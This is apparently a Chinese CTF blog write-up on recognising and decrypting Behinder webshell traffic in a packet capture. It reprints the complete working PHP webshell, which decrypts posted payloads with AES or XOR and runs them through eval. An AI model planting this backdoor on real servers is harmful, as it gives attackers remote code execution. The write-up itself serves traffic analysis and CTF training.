Misc_冰蝎流量分析

01.冰蝎流量判断

在流量包中出现shell.php,多半是有关shell的题目,进行http分析可以看见 Behinder,可以知道是冰蝎流量

02.冰蝎shell分析

目前大部分的shell工具都是加密通信,因此知道加密方式与密钥十分关键

冰蝎采用的是AES加密,通信流程:

冰蝎2.0版本

冰蝎客户端发送Get请求服务器 => 服务器随机产生密钥后,插入在session返回给冰蝎客户端 => 冰蝎客户端通过密钥加密playload后,通过Post请求发送给服务器 => 服务器解密playload后执行,再将返回包加密后传送给冰蝎客户端

(通常AES加密前会进行一次Base64编码)

进行加密shell.php分析(在server目录下的shell.php)

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

在2.0版本中key是随机产生的

冰蝎3.0版本

3.0版本与2.0版本不同的地方在于3.0的key值是固定的,因此不再过多解释

03.冰蝎流量例题分析

通常我们可以在Get请求的返回包中寻找key值

 找到key后,观察Post请求。

通过key可以对发送和返回数据进行AES解密,后再通过Base64解密,来寻找到flag。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hehanzzz!

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值